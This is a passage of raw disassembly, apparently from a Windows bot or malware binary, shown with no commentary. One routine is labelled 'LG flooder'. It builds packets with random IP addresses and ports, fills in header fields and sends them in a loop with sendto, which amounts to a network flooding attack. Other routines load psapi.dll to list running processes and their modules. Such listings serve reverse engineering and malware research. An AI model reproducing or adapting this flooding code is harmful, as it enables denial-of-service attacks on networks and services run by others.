		movzx	eax, ax
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	offset dword_418A64
		push	[ebp+var_14]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+var_14]
		add	ecx, eax
		push	ecx
		call	sub_416B5E	; sprintf
		add	esp, 1Ch
		jmp	loc_405C93
; ---------------------------------------------------------------------------

loc_405A11:				; CODE XREF: sub_4055E5+20Cj
		push	2
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	[ebp+var_134C],	eax
		cmp	[ebp+var_134C],	0
		jnz	short loc_405A52
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	offset dword_418A60
		push	[ebp+var_14]
		call	sub_416B5E	; sprintf
		add	esp, 0Ch
		jmp	loc_405C6F
; ---------------------------------------------------------------------------

loc_405A52:				; CODE XREF: sub_4055E5+444j
		cmp	[ebp+var_134C],	1
		jnz	loc_405B87
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	offset aU	; "%u\r\n"
		push	[ebp+var_14]
		call	sub_416B5E	; sprintf
		add	esp, 0Ch

loc_405A81:				; CODE XREF: sub_4055E5+522j
		push	[ebp+var_14]
		call	sub_416B40	; strlen
		pop	ecx
		cmp	eax, 7D0h
		jnb	short loc_405B0C
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n"
		push	[ebp+var_14]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+var_14]
		add	ecx, eax
		push	ecx
		call	sub_416B5E	; sprintf
		add	esp, 1Ch
		jmp	loc_405A81
; ---------------------------------------------------------------------------

loc_405B0C:				; CODE XREF: sub_4055E5+4AAj
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	offset dword_418A64
		push	[ebp+var_14]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+var_14]
		add	ecx, eax
		push	ecx
		call	sub_416B5E	; sprintf
		add	esp, 1Ch
		jmp	loc_405C6F
; ---------------------------------------------------------------------------

loc_405B87:				; CODE XREF: sub_4055E5+474j
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	offset aU	; "%u\r\n"
		push	[ebp+var_14]
		call	sub_416B5E	; sprintf
		add	esp, 0Ch

loc_405BA9:				; CODE XREF: sub_4055E5+62Ej
		push	[ebp+var_14]
		call	sub_416B40	; strlen
		pop	ecx
		cmp	eax, 7D0h
		jnb	short loc_405C15
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n"
		push	[ebp+var_14]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+var_14]
		add	ecx, eax
		push	ecx
		call	sub_416B5E	; sprintf
		add	esp, 1Ch
		jmp	short loc_405BA9
; ---------------------------------------------------------------------------

loc_405C15:				; CODE XREF: sub_4055E5+5D2j
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	offset dword_418A64
		push	[ebp+var_14]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+var_14]
		add	ecx, eax
		push	ecx
		call	sub_416B5E	; sprintf
		add	esp, 1Ch

loc_405C6F:				; CODE XREF: sub_4055E5+468j
					; sub_4055E5+59Dj
		jmp	short loc_405C93
; ---------------------------------------------------------------------------

loc_405C71:				; CODE XREF: sub_4055E5+212j
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	offset dword_418A60
		push	[ebp+var_14]
		call	sub_416B5E	; sprintf
		add	esp, 0Ch

loc_405C93:				; CODE XREF: sub_4055E5+33Aj
					; sub_4055E5+427j ...
		push	[ebp+var_14]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_1354],	eax
		and	[ebp+var_1350],	0
		jmp	short loc_405CB8
; ---------------------------------------------------------------------------

loc_405CAB:				; CODE XREF: sub_4055E5+6F9j
		mov	eax, [ebp+var_1350]
		inc	eax
		mov	[ebp+var_1350],	eax

loc_405CB8:				; CODE XREF: sub_4055E5+6C4j
		mov	eax, [ebp+var_1350]
		cmp	eax, [ebp+var_1354]
		jnb	short loc_405CE0
		mov	eax, [ebp+var_14]
		add	eax, [ebp+var_1350]
		mov	al, [eax]
		shl	al, 1
		mov	ecx, [ebp+var_14]
		add	ecx, [ebp+var_1350]
		mov	[ecx], al
		jmp	short loc_405CAB
; ---------------------------------------------------------------------------

loc_405CE0:				; CODE XREF: sub_4055E5+6DFj
		mov	eax, [ebp+var_1354]
		add	eax, 1Ch
		push	eax
		call	dword_417238	; htons
		mov	ecx, [ebp+var_133C]
		mov	[ecx+2], ax
		call	sub_41043F
		push	eax
		call	dword_417238	; htons
		mov	ecx, [ebp+var_133C]
		mov	[ecx+4], ax
		call	sub_410483
		neg	eax
		sbb	eax, eax
		and	al, 0C0h
		add	eax, 80h
		mov	ecx, [ebp+var_133C]
		mov	[ecx+8], al
		push	2
		push	offset dword_41F018
		call	dword_417244	; inet_addr
		push	eax
		call	sub_4040E8
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_133C]
		mov	[ecx+0Ch], eax
		mov	eax, [ebp+var_1354]
		add	eax, 14h
		push	eax
		push	[ebp+var_133C]
		call	sub_40407D
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_133C]
		mov	[ecx+0Ah], ax
		movzx	eax, [ebp+var_E]
		test	eax, eax
		jnz	short loc_405D7F
		call	sub_41043F
		mov	ecx, [ebp+var_133C]
		mov	[ecx+16h], ax

loc_405D7F:				; CODE XREF: sub_4055E5+789j
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		push	eax
		call	dword_417238	; htons
		mov	ecx, [ebp+var_133C]
		mov	[ecx+14h], ax
		mov	eax, [ebp+var_1354]
		add	eax, 8
		push	eax
		call	dword_417238	; htons
		mov	ecx, [ebp+var_133C]
		mov	[ecx+18h], ax
		push	10h
		lea	eax, [ebp+var_10]
		push	eax
		push	0
		mov	eax, [ebp+var_1354]
		add	eax, 1Ch
		push	eax
		lea	eax, [ebp+var_1074]
		push	eax
		push	[ebp+var_1078]
		call	dword_417250	; sendto
		mov	[ebp+var_1348],	eax
		cmp	[ebp+var_1348],	0FFFFFFFFh
		jnz	short loc_405E08
		push	[ebp+var_1334]
		call	sub_409763
		pop	ecx
		push	[ebp+var_1078]
		call	sub_4053B1
		pop	ecx
		xor	eax, eax
		jmp	short locret_405E41
; ---------------------------------------------------------------------------

loc_405E08:				; CODE XREF: sub_4055E5+805j
		push	[ebp+var_1083]
		call	dword_41709C	; Sleep
		mov	eax, [ebp+var_1334]
		cmp	dword ptr [eax+4], 0
		jz	short loc_405E22
		jmp	short loc_405E27
; ---------------------------------------------------------------------------

loc_405E22:				; CODE XREF: sub_4055E5+839j
		jmp	loc_4057A9
; ---------------------------------------------------------------------------

loc_405E27:				; CODE XREF: sub_4055E5+1DDj
					; sub_4055E5+83Bj
		push	[ebp+var_1078]
		call	sub_4053B1
		pop	ecx
		push	[ebp+var_1334]
		call	sub_409763
		pop	ecx
		xor	eax, eax

locret_405E41:				; CODE XREF: sub_4055E5+59j
					; sub_4055E5+94j ...
		leave
		retn	4
sub_4055E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405E45	proc near		; CODE XREF: sub_40A9CF+8B2p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		cmp	[ebp+arg_4], 0
		jz	short loc_405E5D
		cmp	[ebp+arg_8], 0
		jz	short loc_405E5D
		cmp	[ebp+arg_14], 0
		jnz	short loc_405E62

loc_405E5D:				; CODE XREF: sub_405E45+Aj
					; sub_405E45+10j
		jmp	locret_405F65
; ---------------------------------------------------------------------------

loc_405E62:				; CODE XREF: sub_405E45+16j
		push	2B9h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_405E7B
		jmp	locret_405F65
; ---------------------------------------------------------------------------

loc_405E7B:				; CODE XREF: sub_405E45+2Fj
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	100h
		push	[ebp+arg_4]
		mov	eax, [ebp+var_4]
		add	eax, 1A7h
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	6
		push	[ebp+arg_8]
		mov	eax, [ebp+var_4]
		add	eax, 2A7h
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	[ebp+arg_C]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	ecx, [ebp+var_4]
		mov	[ecx+2ADh], eax
		push	[ebp+arg_10]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	ecx, [ebp+var_4]
		mov	[ecx+2B1h], eax
		push	[ebp+arg_14]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	ecx, [ebp+var_4]
		mov	[ecx+2B5h], eax
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+2B1h], 0EA60h
		jge	short loc_405F0E
		mov	eax, [ebp+var_4]
		mov	eax, [eax+2B1h]
		mov	[ebp+var_8], eax
		jmp	short loc_405F15
; ---------------------------------------------------------------------------

loc_405F0E:				; CODE XREF: sub_405E45+B9j
		mov	[ebp+var_8], 0EA60h

loc_405F15:				; CODE XREF: sub_405E45+C7j
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_8]
		mov	[eax+2B1h], ecx
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+2B1h], 64h
		jle	short loc_405F3B
		mov	eax, [ebp+var_4]
		mov	eax, [eax+2B1h]
		mov	[ebp+var_C], eax
		jmp	short loc_405F42
; ---------------------------------------------------------------------------

loc_405F3B:				; CODE XREF: sub_405E45+E6j
		mov	[ebp+var_C], 64h

loc_405F42:				; CODE XREF: sub_405E45+F4j
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		mov	[eax+2B1h], ecx
		push	offset aLgFlooder ; "LG	flooder"
		push	0
		push	[ebp+var_4]
		push	offset sub_4055E5
		call	sub_4095A4
		add	esp, 10h

locret_405F65:				; CODE XREF: sub_405E45:loc_405E5Dj
					; sub_405E45+31j
		leave
		retn
sub_405E45	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405F67	proc near		; CODE XREF: sub_4017AA+6Ep
					; sub_401D6E+77p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		jnz	short loc_405F8E
		push	1A3h
		push	0
		push	[ebp+arg_0]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		mov	byte ptr [eax+198h], 1
		jmp	short loc_405FA1
; ---------------------------------------------------------------------------

loc_405F8E:				; CODE XREF: sub_405F67+7j
		push	1A3h
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416B52	; memcpy
		add	esp, 0Ch

loc_405FA1:				; CODE XREF: sub_405F67+25j
		pop	ebp
		retn
sub_405F67	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405FA3	proc near		; CODE XREF: sub_4167F1+D0p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	offset dword_41E380
		call	sub_409C36
		pop	ecx
		push	offset aPsapi_dll ; "psapi.dll"
		call	dword_417054	; LoadLibraryA
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_405FC8
		jmp	short locret_40603F
; ---------------------------------------------------------------------------

loc_405FC8:				; CODE XREF: sub_405FA3+21j
		push	offset aEnumprocesses ;	"EnumProcesses"
		push	[ebp+var_4]
		call	dword_417058	; GetProcAddress
		mov	dword_41E37C, eax
		push	offset aEnumprocessmod ; "EnumProcessModules"
		push	[ebp+var_4]
		call	dword_417058	; GetProcAddress
		mov	dword_41E370, eax
		push	offset aGetmodulefilen ; "GetModuleFileNameExA"
		push	[ebp+var_4]
		call	dword_417058	; GetProcAddress
		mov	dword_41E374, eax
		push	offset aGetmoduleinfor ; "GetModuleInformation"
		push	[ebp+var_4]
		call	dword_417058	; GetProcAddress
		mov	dword_41E378, eax
		cmp	dword_41E37C, 0
		jz	short locret_40603F
		cmp	dword_41E370, 0
		jz	short locret_40603F
		cmp	dword_41E374, 0
		jz	short locret_40603F
		cmp	dword_41E378, 0
		jz	short locret_40603F
		mov	byte_41E39C, 1

locret_40603F:				; CODE XREF: sub_405FA3+23j
					; sub_405FA3+78j ...
		leave
		retn
sub_405FA3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406041	proc near		; CODE XREF: sub_401244:loc_40129Dp
					; sub_40637C+29p

var_13C		= dword	ptr -13Ch
var_138		= dword	ptr -138h
var_130		= dword	ptr -130h
var_12C		= byte ptr -12Ch
var_12B		= byte ptr -12Bh
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 13Ch
		push	esi
		push	edi
		push	offset dword_41E380
		call	sub_409C6C
		pop	ecx
		movzx	eax, byte_41E39C
		test	eax, eax
		jnz	short loc_406074
		push	offset dword_41E380
		call	sub_409C7A
		pop	ecx
		xor	eax, eax
		jmp	loc_40636A
; ---------------------------------------------------------------------------

loc_406074:				; CODE XREF: sub_406041+1Fj
		and	[ebp+var_C], 0
		and	[ebp+var_4], 0
		and	[ebp+var_1C], 0
		push	[ebp+var_1C]
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jnz	short loc_406097
		jmp	loc_406368
; ---------------------------------------------------------------------------

loc_406097:				; CODE XREF: sub_406041+4Fj
					; sub_406041:loc_4060E9j
		mov	eax, [ebp+var_1C]
		add	eax, 80h
		mov	[ebp+var_1C], eax
		push	[ebp+var_1C]
		push	[ebp+var_14]
		call	sub_416BF6	; realloc
		pop	ecx
		pop	ecx
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jnz	short loc_4060BD
		jmp	loc_406366
; ---------------------------------------------------------------------------

loc_4060BD:				; CODE XREF: sub_406041+75j
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+var_1C]
		push	[ebp+var_14]
		call	dword_41E37C
		test	eax, eax
		jnz	short loc_4060DF
		push	[ebp+var_14]
		call	sub_416B4C	; free
		pop	ecx
		jmp	loc_406364
; ---------------------------------------------------------------------------

loc_4060DF:				; CODE XREF: sub_406041+8Ej
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_1C]
		jnb	short loc_4060E9
		jmp	short loc_4060EB
; ---------------------------------------------------------------------------

loc_4060E9:				; CODE XREF: sub_406041+A4j
		jmp	short loc_406097
; ---------------------------------------------------------------------------

loc_4060EB:				; CODE XREF: sub_406041+A6j
		mov	eax, [ebp+var_4]
		shr	eax, 2
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		imul	eax, 114h
		add	eax, 8
		push	eax
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_40611E
		push	[ebp+var_14]
		call	sub_416B4C	; free
		pop	ecx
		jmp	loc_406362
; ---------------------------------------------------------------------------

loc_40611E:				; CODE XREF: sub_406041+CDj
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	eax, [ebp+var_C]
		add	eax, 8
		mov	ecx, [ebp+var_C]
		mov	[ecx+4], eax
		and	[ebp+var_10], 0
		jmp	short loc_40613F
; ---------------------------------------------------------------------------

loc_406138:				; CODE XREF: sub_406041+156j
		mov	eax, [ebp+var_10]
		inc	eax
		mov	[ebp+var_10], eax

loc_40613F:				; CODE XREF: sub_406041+F5j
		mov	eax, [ebp+var_10]
		cmp	eax, [ebp+var_8]
		jnb	short loc_406199
		push	114h
		push	0
		mov	eax, [ebp+var_C]
		push	dword ptr [eax+4]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+var_10]
		imul	eax, 114h
		mov	ecx, [ebp+var_C]
		mov	ecx, [ecx+4]
		mov	edx, [ebp+var_10]
		mov	esi, [ebp+var_14]
		mov	edx, [esi+edx*4]
		mov	[ecx+eax], edx
		push	offset aSystem	; "system"
		mov	eax, [ebp+var_10]
		imul	eax, 114h
		mov	ecx, [ebp+var_C]
		mov	ecx, [ecx+4]
		lea	eax, [ecx+eax+0Ch]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_406138
; ---------------------------------------------------------------------------

loc_406199:				; CODE XREF: sub_406041+104j
		push	[ebp+var_14]
		call	sub_416B4C	; free
		pop	ecx
		and	[ebp+var_10], 0
		jmp	short loc_4061AF
; ---------------------------------------------------------------------------

loc_4061A8:				; CODE XREF: sub_406041+1A8j
					; sub_406041+1D8j ...
		mov	eax, [ebp+var_10]
		inc	eax
		mov	[ebp+var_10], eax

loc_4061AF:				; CODE XREF: sub_406041+165j
		mov	eax, [ebp+var_10]
		cmp	eax, [ebp+var_8]
		jnb	loc_406343
		mov	eax, [ebp+var_10]
		imul	eax, 114h
		mov	ecx, [ebp+var_C]
		mov	ecx, [ecx+4]
		push	dword ptr [ecx+eax]
		push	0
		push	410h
		call	dword_417094	; OpenProcess
		mov	[ebp+var_130], eax
		cmp	[ebp+var_130], 0
		jnz	short loc_4061EB
		jmp	short loc_4061A8
; ---------------------------------------------------------------------------

loc_4061EB:				; CODE XREF: sub_406041+1A6j
		and	[ebp+var_20], 0
		and	[ebp+var_28], 0
		lea	eax, [ebp+var_20]
		push	eax
		push	4
		lea	eax, [ebp+var_28]
		push	eax
		push	[ebp+var_130]
		call	dword_41E370
		test	eax, eax
		jnz	short loc_40621B
		push	[ebp+var_130]
		call	dword_4170A4	; CloseHandle
		jmp	short loc_4061A8
; ---------------------------------------------------------------------------

loc_40621B:				; CODE XREF: sub_406041+1CAj
		push	0Ch
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_28]
		push	[ebp+var_130]
		call	dword_41E378
		mov	eax, [ebp+var_10]
		imul	eax, 114h
		mov	ecx, [ebp+var_C]
		mov	ecx, [ecx+4]
		mov	edx, [ebp+var_13C]
		mov	[ecx+eax+4], edx
		mov	eax, [ebp+var_10]
		imul	eax, 114h
		mov	ecx, [ebp+var_C]
		mov	ecx, [ecx+4]
		mov	edx, [ebp+var_138]
		mov	[ecx+eax+8], edx
		mov	al, byte_41DF00
		mov	[ebp+var_12C], al
		push	40h
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_12B]
		rep stosd
		stosw
		stosb
		push	104h
		lea	eax, [ebp+var_12C]
		push	eax
		push	[ebp+var_13C]
		push	[ebp+var_130]
		call	dword_41E374
		mov	[ebp+var_24], eax
		cmp	[ebp+var_24], 0
		jz	loc_406332
		movsx	eax, [ebp+var_12C]
		test	eax, eax
		jz	short loc_406332
		push	104h
		lea	eax, [ebp+var_12C]
		push	eax
		mov	eax, [ebp+var_10]
		imul	eax, 114h
		mov	ecx, [ebp+var_C]
		mov	ecx, [ecx+4]
		lea	eax, [ecx+eax+0Ch]
		push	eax
		call	sub_416B58	; strncpy
		add	esp, 0Ch
		lea	eax, [ebp+var_12C]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_18], eax
		jmp	short loc_4062F7
; ---------------------------------------------------------------------------

loc_4062F0:				; CODE XREF: sub_406041:loc_406330j
		mov	eax, [ebp+var_18]
		dec	eax
		mov	[ebp+var_18], eax

loc_4062F7:				; CODE XREF: sub_406041+2ADj
		cmp	[ebp+var_18], 0
		jz	short loc_406332
		cmp	[ebp+var_18], 1
		ja	short loc_406305
		jmp	short loc_406332
; ---------------------------------------------------------------------------

loc_406305:				; CODE XREF: sub_406041+2C0j
		mov	eax, [ebp+var_18]
		movsx	eax, byte ptr [ebp+eax+var_130+3]
		cmp	eax, 5Ch
		jnz	short loc_406330
		mov	eax, [ebp+var_10]
		imul	eax, 114h
		mov	ecx, [ebp+var_C]
		mov	ecx, [ecx+4]
		mov	edx, [ebp+var_18]
		mov	[ecx+eax+110h],	edx
		jmp	short loc_406332
; ---------------------------------------------------------------------------

loc_406330:				; CODE XREF: sub_406041+2D2j
		jmp	short loc_4062F0
; ---------------------------------------------------------------------------

loc_406332:				; CODE XREF: sub_406041+264j
					; sub_406041+273j ...
		push	[ebp+var_130]
		call	dword_4170A4	; CloseHandle
		jmp	loc_4061A8
; ---------------------------------------------------------------------------

loc_406343:				; CODE XREF: sub_406041+174j
		push	offset dword_41E380
		call	sub_409C7A
		pop	ecx
		mov	eax, [ebp+var_C]
		jmp	short loc_40636A
; ---------------------------------------------------------------------------

loc_406353:				; CODE XREF: sub_406041:loc_406362j
					; sub_406041:loc_406364j ...
		push	offset dword_41E380
		call	sub_409C7A
		pop	ecx
		xor	eax, eax
		jmp	short loc_40636A
; ---------------------------------------------------------------------------

loc_406362:				; CODE XREF: sub_406041+D8j
		jmp	short loc_406353
; ---------------------------------------------------------------------------

loc_406364:				; CODE XREF: sub_406041+99j
		jmp	short loc_406353
; ---------------------------------------------------------------------------

loc_406366:				; CODE XREF: sub_406041+77j
		jmp	short loc_406353
; ---------------------------------------------------------------------------

loc_406368:				; CODE XREF: sub_406041+51j
		jmp	short loc_406353
; ---------------------------------------------------------------------------

loc_40636A:				; CODE XREF: sub_406041+2Ej
					; sub_406041+310j ...
		pop	edi
		pop	esi
		leave
		retn
sub_406041	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40636E	proc near		; CODE XREF: sub_401244+4D2p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		pop	ebp
		retn
sub_40636E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40637C	proc near		; DATA XREF: sub_4064BF+3Bo

var_1B0		= dword	ptr -1B0h
var_1AC		= dword	ptr -1ACh
var_1A8		= dword	ptr -1A8h
var_1A4		= byte ptr -1A4h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1B0h
		push	1A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1A8]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		call	sub_406041
		mov	[ebp+var_1AC], eax
		cmp	[ebp+var_1AC], 0
		jz	loc_4064AD
		mov	eax, [ebp+var_1AC]
		push	dword ptr [eax]
		mov	eax, [ebp+var_1A8]
		push	dword ptr [eax]
		push	offset dword_418B1C
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		and	[ebp+var_1B0], 0
		jmp	short loc_4063F7
; ---------------------------------------------------------------------------

loc_4063EA:				; CODE XREF: sub_40637C:loc_40649Cj
		mov	eax, [ebp+var_1B0]
		inc	eax
		mov	[ebp+var_1B0], eax

loc_4063F7:				; CODE XREF: sub_40637C+6Cj
		mov	eax, [ebp+var_1AC]
		mov	ecx, [ebp+var_1B0]
		cmp	ecx, [eax]
		jge	loc_4064A1
		push	3E8h
		call	dword_41709C	; Sleep
		mov	eax, [ebp+var_1B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_1AC]
		mov	ecx, [ecx+4]
		lea	eax, [ecx+eax+0Ch]
		push	eax
		mov	eax, [ebp+var_1B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_1AC]
		mov	ecx, [ecx+4]
		push	dword ptr [ecx+eax+8]
		mov	eax, [ebp+var_1B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_1AC]
		mov	ecx, [ecx+4]
		push	dword ptr [ecx+eax+4]
		mov	eax, [ebp+var_1B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_1AC]
		mov	ecx, [ecx+4]
		push	dword ptr [ecx+eax]
		push	offset dword_418B04
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 18h
		mov	eax, [ebp+var_1A8]
		cmp	dword ptr [eax+4], 0
		jz	short loc_40649C
		jmp	short loc_4064A1
; ---------------------------------------------------------------------------

loc_40649C:				; CODE XREF: sub_40637C+11Cj
		jmp	loc_4063EA
; ---------------------------------------------------------------------------

loc_4064A1:				; CODE XREF: sub_40637C+89j
					; sub_40637C+11Ej
		push	[ebp+var_1AC]
		call	sub_416B4C	; free
		pop	ecx

loc_4064AD:				; CODE XREF: sub_40637C+3Bj
		push	[ebp+var_1A8]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		leave
		retn	4
sub_40637C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4064BF	proc near		; CODE XREF: sub_40A9CF+3FFp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1A7h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_4064D9
		jmp	short locret_406507
; ---------------------------------------------------------------------------

loc_4064D9:				; CODE XREF: sub_4064BF+16j
		push	1A3h
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	offset dword_418B44
		push	0
		push	[ebp+var_4]
		push	offset sub_40637C
		call	sub_4095A4
		add	esp, 10h

locret_406507:				; CODE XREF: sub_4064BF+18j
		leave
		retn
sub_4064BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406509	proc near		; CODE XREF: sub_40A9CF+9C9p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		cmp	[ebp+arg_4], 0
		jz	short loc_40651B
		cmp	[ebp+arg_C], 0
		jnz	short loc_406520

loc_40651B:				; CODE XREF: sub_406509+Aj
		jmp	locret_406641
; ---------------------------------------------------------------------------

loc_406520:				; CODE XREF: sub_406509+10j
		push	[ebp+arg_4]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_8], eax
		push	[ebp+arg_8]
		call	sub_40A8AD
		pop	ecx
		mov	[ebp+var_C], eax
		push	[ebp+arg_C]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 180h
		jbe	short loc_406554
		mov	[ebp+var_4], 180h

loc_406554:				; CODE XREF: sub_406509+42j
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_416B46	; malloc
		pop	ecx
